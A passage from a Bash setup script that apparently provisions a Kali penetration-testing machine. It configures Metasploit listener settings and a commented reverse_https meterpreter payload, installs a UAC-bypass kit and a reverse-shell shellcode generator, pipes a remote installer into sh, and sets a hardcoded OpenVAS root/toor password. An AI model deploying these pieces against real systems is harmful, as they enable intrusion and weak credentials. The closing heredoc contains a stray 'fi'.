  1735.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1736. else
  1737.   cat <<EOF > "${file}"
  1738. load auto_add_route
  1739.  
  1740. load alias
  1741. alias del rm
  1742. alias handler use exploit/multi/handler
  1743.  
  1744. load sounds
  1745.  
  1746. setg TimestampOutput true
  1747. setg VERBOSE true
  1748.  
  1749. setg ExitOnSession false
  1750. setg EnableStageEncoding true
  1751. setg LHOST 0.0.0.0
  1752. setg LPORT 443
  1753. EOF
  1754. #use exploit/multi/handler
  1755. #setg AutoRunScript 'multi_console_command -rc "~/.msf4/msf_autorunscript.rc"'
  1756. #set PAYLOAD windows/meterpreter/reverse_https
  1757. fi
  1758. #--- Aliases time
  1759. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1760. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1761. #--- Aliases for console
  1762. grep -q '^alias msfc=' "${file}" 2>/dev/null \
  1763.   || echo -e 'alias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}"
  1764. grep -q '^alias msfconsole=' "${file}" 2>/dev/null \
  1765.   || echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}"
  1766. #--- Aliases to speed up msfvenom (create static output)
  1767. grep -q "^alias msfvenom-list-all" "${file}" 2>/dev/null \
  1768.   || echo "alias msfvenom-list-all='cat ~/.msf4/msfvenom/all'" >> "${file}"
  1769. grep -q "^alias msfvenom-list-nops" "${file}" 2>/dev/null \
  1770.   || echo "alias msfvenom-list-nops='cat ~/.msf4/msfvenom/nops'" >> "${file}"
  1771. grep -q "^alias msfvenom-list-payloads" "${file}" 2>/dev/null \
  1772.   || echo "alias msfvenom-list-payloads='cat ~/.msf4/msfvenom/payloads'" >> "${file}"
  1773. grep -q "^alias msfvenom-list-encoders" "${file}" 2>/dev/null \
  1774.   || echo "alias msfvenom-list-encoders='cat ~/.msf4/msfvenom/encoders'" >> "${file}"
  1775. grep -q "^alias msfvenom-list-formats" "${file}" 2>/dev/null \
  1776.   || echo "alias msfvenom-list-formats='cat ~/.msf4/msfvenom/formats'" >> "${file}"
  1777. grep -q "^alias msfvenom-list-generate" "${file}" 2>/dev/null \
  1778.   || echo "alias msfvenom-list-generate='_msfvenom-list-generate'" >> "${file}"
  1779. grep -q "^function _msfvenom-list-generate" "${file}" 2>/dev/null \
  1780.   || cat <<EOF >> "${file}" \
  1781.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1782. function _msfvenom-list-generate {
  1783.   mkdir -p ~/.msf4/msfvenom/
  1784.   msfvenom --list > ~/.msf4/msfvenom/all
  1785.   msfvenom --list nops > ~/.msf4/msfvenom/nops
  1786.   msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1787.   msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1788.   msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1789. }
  1790. EOF
  1791. #--- Apply new aliases
  1792. source "${file}" || source ~/.zshrc
  1793. #--- Generate (Can't call alias)
  1794. mkdir -p ~/.msf4/msfvenom/
  1795. msfvenom --list > ~/.msf4/msfvenom/all
  1796. msfvenom --list nops > ~/.msf4/msfvenom/nops
  1797. msfvenom --list payloads > ~/.msf4/msfvenom/payloads
  1798. msfvenom --list encoders > ~/.msf4/msfvenom/encoders
  1799. msfvenom --help-formats 2> ~/.msf4/msfvenom/formats
  1800. #--- First time run with Metasploit
  1801. (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Starting Metasploit for the first time${RESET} ~ this ${BOLD}will take a ~350 seconds${RESET} (~6 mintues)"
  1802. echo "Started at: $(date)"
  1803. systemctl start postgresql
  1804. msfdb start
  1805. msfconsole -q -x 'version;db_status;sleep 310;exit'
  1806.  
  1807.  
  1808. ##### Configuring armitage
  1809. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}armitage${RESET} ~ GUI Metasploit UI"
  1810. export MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml
  1811. for file in /etc/bash.bashrc ~/.zshrc; do     #~/.bashrc
  1812.   [ ! -e "${file}" ] && continue
  1813.   [ -e "${file}" ] && cp -n $file{,.bkup}
  1814.   ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1815.   grep -q 'MSF_DATABASE_CONFIG' "${file}" 2>/dev/null \
  1816.     || echo -e 'MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml\n' >> "${file}"
  1817. done
  1818. #--- Test
  1819. #msfrpcd -U msf -P test -f -S -a 127.0.0.1
  1820.  
  1821.  
  1822. ##### Install exe2hex
  1823. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}exe2hex${RESET} ~ Inline file transfer"
  1824. apt -y -qq install exe2hexbat \
  1825.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1826.  
  1827.  
  1828. ##### Install MPC
  1829. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MPC${RESET} ~ Msfvenom Payload Creator"
  1830. apt -y -qq install msfpc \
  1831.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1832.  
  1833.  
  1834. ##### Configuring Gedit
  1835. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}Gedit${RESET} ~ GUI text editor"
  1836. #--- Install Gedit
  1837. apt -y -qq install gedit \
  1838.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1839. #--- Configure Gedit
  1840. dconf write /org/gnome/gedit/preferences/editor/wrap-last-split-mode "'word'"
  1841. dconf write /org/gnome/gedit/preferences/ui/statusbar-visible true
  1842. dconf write /org/gnome/gedit/preferences/editor/display-line-numbers true
  1843. dconf write /org/gnome/gedit/preferences/editor/highlight-current-line true
  1844. dconf write /org/gnome/gedit/preferences/editor/bracket-matching true
  1845. dconf write /org/gnome/gedit/preferences/editor/insert-spaces true
  1846. dconf write /org/gnome/gedit/preferences/editor/auto-indent true
  1847. for plugin in modelines sort externaltools docinfo filebrowser quickopen time spell; do
  1848.   loaded=$( dconf read /org/gnome/gedit/plugins/active-plugins )
  1849.   echo ${loaded} | grep -q "'${plugin}'" \
  1850.     && continue
  1851.   new=$( echo "${loaded} '${plugin}']" | sed "s/'] /', /" )
  1852.   dconf write /org/gnome/gedit/plugins/active-plugins "${new}"
  1853. done
  1854.  
  1855.  
  1856. ##### Install PyCharm (Community Edition)
  1857. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}PyCharm (Community Edition)${RESET} ~ Python IDE"
  1858. timeout 300 curl --progress -k -L -f "https://download.jetbrains.com/python/pycharm-community-2016.2.3.tar.gz" > /tmp/pycharms-community.tar.gz \
  1859.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pycharms-community.tar.gz" 1>&2       #***!!! hardcoded version!
  1860. if [ -e /tmp/pycharms-community.tar.gz ]; then
  1861.   tar -xf /tmp/pycharms-community.tar.gz -C /tmp/
  1862.   rm -rf /opt/pycharms/
  1863.   mv -f /tmp/pycharm-community-*/ /opt/pycharms
  1864.   mkdir -p /usr/local/bin/
  1865.   ln -sf /opt/pycharms/bin/pycharm.sh /usr/local/bin/pycharms
  1866. fi
  1867.  
  1868.  
  1869. ##### Install wdiff
  1870. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wdiff${RESET} ~ Compares two files word by word"
  1871. apt -y -qq install wdiff wdiff-doc \
  1872.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1873.  
  1874.  
  1875. ##### Install meld
  1876. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}meld${RESET} ~ GUI text compare"
  1877. apt -y -qq install meld \
  1878.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1879. #--- Configure meld
  1880. gconftool-2 -t bool -s /apps/meld/show_line_numbers true
  1881. gconftool-2 -t bool -s /apps/meld/show_whitespace true
  1882. gconftool-2 -t bool -s /apps/meld/use_syntax_highlighting true
  1883. gconftool-2 -t int -s /apps/meld/edit_wrap_lines 2
  1884.  
  1885.  
  1886. ##### Install vbindiff
  1887. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vbindiff${RESET} ~ visually compare binary files"
  1888. apt -y -qq install vbindiff \
  1889.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1890.  
  1891.  
  1892. ##### Install OpenVAS
  1893. if [[ "${openVAS}" != "false" ]]; then
  1894.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OpenVAS${RESET} ~ vulnerability scanner"
  1895.   apt -y -qq install openvas \
  1896.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1897.   openvas-setup
  1898.   #--- Bug fix (target credentials creation)
  1899.   mkdir -p /var/lib/openvas/gnupg/
  1900.   #--- Bug fix (keys)
  1901.   curl --progress -k -L -f "http://www.openvas.org/OpenVAS_TI.asc" | gpg --import - \
  1902.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading OpenVAS_TI.asc" 1>&2
  1903.   #--- Make sure all services are correct
  1904.   openvas-start
  1905.   #--- User control
  1906.   username="root"
  1907.   password="toor"
  1908.   (openvasmd --get-users | grep -q ^admin$) \
  1909.     && echo -n 'admin user: ' \
  1910.     && openvasmd --delete-user=admin
  1911.   (openvasmd --get-users | grep -q "^${username}$") \
  1912.     || (echo -n "${username} user: "; openvasmd --create-user="${username}"; openvasmd --user="${username}" --new-password="${password}" >/dev/null)
  1913.   echo -e " ${YELLOW}[i]${RESET} OpenVAS username: ${username}"
  1914.   echo -e " ${YELLOW}[i]${RESET} OpenVAS password: ${password}   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  1915.   echo -e " ${YELLOW}[i]${RESET} Run: # openvasmd --user=root --new-password='<NEW_PASSWORD>'"
  1916.   sleep 3s
  1917.   openvas-check-setup
  1918.   #--- Remove from start up
  1919.   systemctl disable openvas-manager
  1920.   systemctl disable openvas-scanner
  1921.   systemctl disable greenbone-security-assistant
  1922.   #--- Setup alias
  1923.   file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1924.   grep -q '^## openvas' "${file}" 2>/dev/null \
  1925.     || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}"
  1926.   source "${file}" || source ~/.zshrc
  1927. else
  1928.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping OpenVAS${RESET} (missing: '$0 ${BOLD}--openvas${RESET}')..." 1>&2
  1929. fi
  1930.  
  1931.  
  1932. ##### Install vFeed
  1933. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vFeed${RESET} ~ vulnerability database"
  1934. apt -y -qq install vfeed \
  1935.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1936.  
  1937.  
  1938. ##### Install Burp Suite
  1939. if [[ "${burpFree}" != "false" ]]; then
  1940.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Burp Suite (Community Edition)${RESET} ~ web application proxy"
  1941.   apt -y -qq install burpsuite curl \
  1942.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1943.   mkdir -p ~/.java/.userPrefs/burp/
  1944.   file=~/.java/.userPrefs/burp/prefs.xml;   #[ -e "${file}" ] && cp -n $file{,.bkup}
  1945.   [ -e "${file}" ] \
  1946.     || cat <<EOF > "${file}"
  1947. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  1948. <!DOCTYPE map SYSTEM "http://java.sun.com/dtd/preferences.dtd" >
  1949. <map MAP_XML_VERSION="1.0">
  1950.   <entry key="eulafree" value="2"/>
  1951.   <entry key="free.suite.feedbackReportingEnabled" value="false"/>
  1952. </map>
  1953. EOF
  1954.   #--- Extract CA
  1955.   find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete
  1956.   export DISPLAY=:0.0
  1957.   timeout 120 burpsuite >/dev/null 2>&1 &
  1958.   PID=$!
  1959.   sleep 15s
  1960.   #echo "-----BEGIN CERTIFICATE-----" > /tmp/PortSwiggerCA \
  1961.   #  && awk -F '"' '/caCert/ {print $4}' ~/.java/.userPrefs/burp/prefs.xml | fold -w 64 >> /tmp/PortSwiggerCA \
  1962.   #  && echo "-----END CERTIFICATE-----" >> /tmp/PortSwiggerCA
  1963.   export http_proxy="http://127.0.0.1:8080"
  1964.   rm -f /tmp/burp.crt
  1965.   while test -d /proc/${PID}; do
  1966.     sleep 1s
  1967.     curl --progress -k -L -f "http://burp/cert" -o /tmp/burp.crt 2>/dev/null      # || echo -e ' '${RED}'[!]'${RESET}" Issue downloading burp.crt" 1>&2
  1968.     [ -f /tmp/burp.crt ] && break
  1969.   done
  1970.   timeout 5 kill ${PID} 2>/dev/null \
  1971.     || echo -e ' '${RED}'[!]'${RESET}" Failed to kill ${RED}burpsuite${RESET}"
  1972.   unset http_proxy
  1973.   #--- Installing CA
  1974.   if [[ -f /tmp/burp.crt ]]; then
  1975.     apt -y -qq install libnss3-tools \
  1976.       || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1977.     folder=$(find ~/.mozilla/firefox/ -maxdepth 1 -type d -name '*.default' -print -quit)
  1978.     certutil -A -n Burp -t "CT,c,c" -d "${folder}" -i /tmp/burp.crt
  1979.     timeout 15 firefox >/dev/null 2>&1
  1980.     timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1981.     #mkdir -p /usr/share/ca-certificates/burp/
  1982.     #cp -f /tmp/burp.crt /usr/share/ca-certificates/burp/
  1983.     #dpkg-reconfigure ca-certificates    # Not automated
  1984.     echo -e " ${YELLOW}[i]${RESET} Installed ${YELLOW}Burp Suite CA${RESET}"
  1985.   else
  1986.     echo -e ' '${RED}'[!]'${RESET}' Did not install Burp Suite Certificate Authority (CA)' 1>&2
  1987.     echo -e ' '${RED}'[!]'${RESET}' Skipping...' 1>&2
  1988.   fi
  1989.   #--- Remove old temp files
  1990.   sleep 2s
  1991.   find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete 2>/dev/null
  1992.   find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1993.   unset http_proxy
  1994. else
  1995.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  1996. fi
  1997.  
  1998.  
  1999. ##### Configure python console - all users
  2000. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}python console${RESET} ~ tab complete & history support"
  2001. export PYTHONSTARTUP=$HOME/.pythonstartup
  2002. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  2003. grep -q PYTHONSTARTUP "${file}" \
  2004.   || echo 'export PYTHONSTARTUP=$HOME/.pythonstartup' >> "${file}"
  2005. #--- Python start up file
  2006. cat <<EOF > ~/.pythonstartup \
  2007.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2008. import readline
  2009. import rlcompleter
  2010. import atexit
  2011. import os
  2012.  
  2013. ## Tab completion
  2014. readline.parse_and_bind('tab: complete')
  2015.  
  2016. ## History file
  2017. histfile = os.path.join(os.environ['HOME'], '.pythonhistory')
  2018. try:
  2019.     readline.read_history_file(histfile)
  2020. except IOError:
  2021.     pass
  2022.  
  2023. atexit.register(readline.write_history_file, histfile)
  2024.  
  2025. ## Quit
  2026. del os, histfile, readline, rlcompleter
  2027. EOF
  2028. #--- Apply new configs
  2029. source "${file}" || source ~/.zshrc
  2030.  
  2031.  
  2032. ##### Install virtualenvwrapper
  2033. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}virtualenvwrapper${RESET} ~ virtual environment wrapper"
  2034. apt -y -qq install virtualenvwrapper \
  2035.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2036.  
  2037.  
  2038. ##### Install go
  2039. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}go${RESET} ~ programming language"
  2040. apt -y -qq install golang \
  2041.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2042.  
  2043.  
  2044. ##### Install gitg
  2045. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gitg${RESET} ~ GUI git client"
  2046. apt -y -qq install gitg \
  2047.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2048.  
  2049.  
  2050. ##### Install sparta
  2051. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sparta${RESET} ~ GUI automatic wrapper"
  2052. apt -y -qq install sparta \
  2053.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2054.  
  2055.  
  2056. ##### Install wireshark
  2057. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Wireshark${RESET} ~ GUI network protocol analyzer"
  2058. #--- Hide running as root warning
  2059. mkdir -p ~/.wireshark/
  2060. file=~/.wireshark/recent_common;   #[ -e "${file}" ] && cp -n $file{,.bkup}
  2061. [ -e "${file}" ] \
  2062.   || echo "privs.warn_if_elevated: FALSE" > "${file}"
  2063. #--- Disable lua warning
  2064. [ -e "/usr/share/wireshark/init.lua" ] \
  2065.   && mv -f /usr/share/wireshark/init.lua{,.disabled}
  2066.  
  2067.  
  2068. ##### Install silver searcher
  2069. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}silver searcher${RESET} ~ code searching"
  2070. apt -y -qq install silversearcher-ag \
  2071.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2072.  
  2073.  
  2074. ##### Install rips
  2075. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rips${RESET} ~ source code scanner"
  2076. apt -y -qq install apache2 php git \
  2077.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2078. git clone -q -b master https://github.com/ripsscanner/rips.git /opt/rips-git/ \
  2079.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2080. pushd /opt/rips-git/ >/dev/null
  2081. git pull -q
  2082. popd >/dev/null
  2083. #--- Add to path
  2084. file=/etc/apache2/conf-available/rips.conf
  2085. [ -e "${file}" ] \
  2086.   || cat <<EOF > "${file}"
  2087. Alias /rips /opt/rips-git
  2088.  
  2089. <Directory /opt/rips-git/ >
  2090.   Options FollowSymLinks
  2091.   AllowOverride None
  2092.   Order deny,allow
  2093.   Deny from all
  2094.   Allow from 127.0.0.0/255.0.0.0 ::1/128
  2095. </Directory>
  2096. EOF
  2097. ln -sf /etc/apache2/conf-available/rips.conf /etc/apache2/conf-enabled/rips.conf
  2098. systemctl restart apache2
  2099.  
  2100.  
  2101. ##### Install graudit
  2102. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}graudit${RESET} ~ source code auditing"
  2103. apt -y -qq install git \
  2104.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2105. git clone -q -b master https://github.com/wireghoul/graudit.git /opt/graudit-git/ \
  2106.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2107. pushd /opt/graudit-git/ >/dev/null
  2108. git pull -q
  2109. popd >/dev/null
  2110. #--- Add to path
  2111. mkdir -p /usr/local/bin/
  2112. file=/usr/local/bin/graudit-git
  2113. cat <<EOF > "${file}" \
  2114.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2115. #!/bin/bash
  2116.  
  2117. cd /opt/graudit-git/ && bash graudit.sh "\$@"
  2118. EOF
  2119. chmod +x "${file}"
  2120.  
  2121.  
  2122. ##### Install libreoffice
  2123. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}LibreOffice${RESET} ~ GUI office suite"
  2124. apt -y -qq install libreoffice \
  2125.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2126.  
  2127.  
  2128. ##### Install ipcalc & sipcalc
  2129. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ipcalc${RESET} & ${GREEN}sipcalc${RESET} ~ CLI subnet calculators"
  2130. apt -y -qq install ipcalc sipcalc \
  2131.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2132.  
  2133.  
  2134. ##### Install asciinema
  2135. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}asciinema${RESET} ~ CLI terminal recorder"
  2136. curl -s -L https://asciinema.org/install | sh
  2137.  
  2138.  
  2139. ##### Install shutter
  2140. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shutter${RESET} ~ GUI static screen capture"
  2141. apt -y -qq install shutter \
  2142.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2143.  
  2144.  
  2145. ##### Install psmisc ~ allows for 'killall command' to be used
  2146. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}psmisc${RESET} ~ suite to help with running processes"
  2147. apt -y -qq install psmisc \
  2148.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2149.  
  2150.  
  2151. ###### Setup pipe viewer
  2152. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pipe viewer${RESET} ~ CLI progress bar"
  2153. apt -y -qq install pv \
  2154.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2155.  
  2156.  
  2157. ###### Setup pwgen
  2158. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pwgen${RESET} ~ password generator"
  2159. apt -y -qq install pwgen \
  2160.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2161.  
  2162.  
  2163. ##### Install htop
  2164. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htop${RESET} ~ CLI process viewer"
  2165. apt -y -qq install htop \
  2166.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2167.  
  2168.  
  2169. ##### Install powertop
  2170. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}powertop${RESET} ~ CLI power consumption viewer"
  2171. apt -y -qq install powertop \
  2172.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2173.  
  2174.  
  2175. ##### Install iotop
  2176. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iotop${RESET} ~ CLI I/O usage"
  2177. apt -y -qq install iotop \
  2178.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2179.  
  2180.  
  2181. ##### Install ca-certificates
  2182. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ca-certificates${RESET} ~ HTTPS/SSL/TLS"
  2183. apt -y -qq install ca-certificates \
  2184.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2185.  
  2186.  
  2187. ##### Install testssl
  2188. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}testssl${RESET} ~ Testing TLS/SSL encryption"
  2189. apt -y -qq install testssl.sh \
  2190.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2191.  
  2192.  
  2193. ##### Install UACScript
  2194. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}UACScript${RESET} ~ UAC Bypass for Windows 7"
  2195. apt -y -qq install git windows-binaries \
  2196.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2197. git clone -q -b master https://github.com/Vozzie/uacscript.git /opt/uacscript-git/ \
  2198.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2199. pushd /opt/uacscript-git/ >/dev/null
  2200. git pull -q
  2201. popd >/dev/null
  2202. ln -sf /usr/share/windows-binaries/uac-win7 /opt/uacscript-git/
  2203.  
  2204.  
  2205. ##### Install MiniReverse_Shell_With_Parameters
  2206. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MiniReverse_Shell_With_Parameters${RESET} ~ Generate shellcode for a reverse shell"
  2207. apt -y -qq install git windows-binaries \
  2208.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2209. git clone -q -b master https://github.com/xillwillx/MiniReverse_Shell_With_Parameters.git /opt/minireverse-shell-with-parameters-git/ \
  2210.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2211. pushd /opt/minireverse-shell-with-parameters-git/ >/dev/null
  2212. git pull -q
  2213. popd >/dev/null
  2214. ln -sf /usr/share/windows-binaries/MiniReverse /opt/minireverse-shell-with-parameters-git/
  2215.  
  2216.  
  2217. ##### Install axel
  2218. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}axel${RESET} ~ CLI download manager"
  2219. apt -y -qq install axel \
  2220.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2221. #--- Setup alias
  2222. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2223. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2224. grep -q '^alias axel' "${file}" 2>/dev/null \
  2225.   || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  2226. #--- Apply new alias
  2227. source "${file}" || source ~/.zshrc
  2228.  
  2229.  
  2230. ##### Install html2text
  2231. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}html2text${RESET} ~ CLI html rendering"
  2232. apt -y -qq install html2text \
  2233.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2234.  
  2235.  
  2236. ##### Install tmux2html
  2237. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux2html${RESET} ~ Render tmux as HTML"
  2238. apt -y -qq install git python python-pip \
  2239.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2240. pip install tmux2html
  2241.  
  2242.  
  2243. ##### Install gparted
  2244. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}GParted${RESET} ~ GUI partition manager"
  2245. apt -y -qq install gparted \
  2246.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2247.  
  2248.  
  2249. ##### Install daemonfs
  2250. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}daemonfs${RESET} ~ GUI file monitor"
  2251. apt -y -qq install daemonfs \
  2252.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2253.  
  2254.  
  2255. ##### Install filezilla
  2256. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FileZilla${RESET} ~ GUI file transfer"
  2257. apt -y -qq install filezilla \
  2258.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2259. #--- Configure filezilla
  2260. export DISPLAY=:0.0
  2261. timeout 5 filezilla >/dev/null 2>&1     # Start and kill. Files needed for first time run
  2262. mkdir -p ~/.config/filezilla/
  2263. file=~/.config/filezilla/filezilla.xml; [ -e "${file}" ] && cp -n $file{,.bkup}
  2264. [ ! -e "${file}" ] && cat <<EOF> "${file}"
  2265. <?xml version="1.0" encoding="UTF-8"?>
  2266. <FileZilla3 version="3.15.0.2" platform="*nix">
  2267.   <Settings>
  2268.     <Setting name="Default editor">0</Setting>
  2269.     <Setting name="Always use default editor">0</Setting>
  2270.   </Settings>
  2271. </FileZilla3>
  2272. fi
  2273. EOF
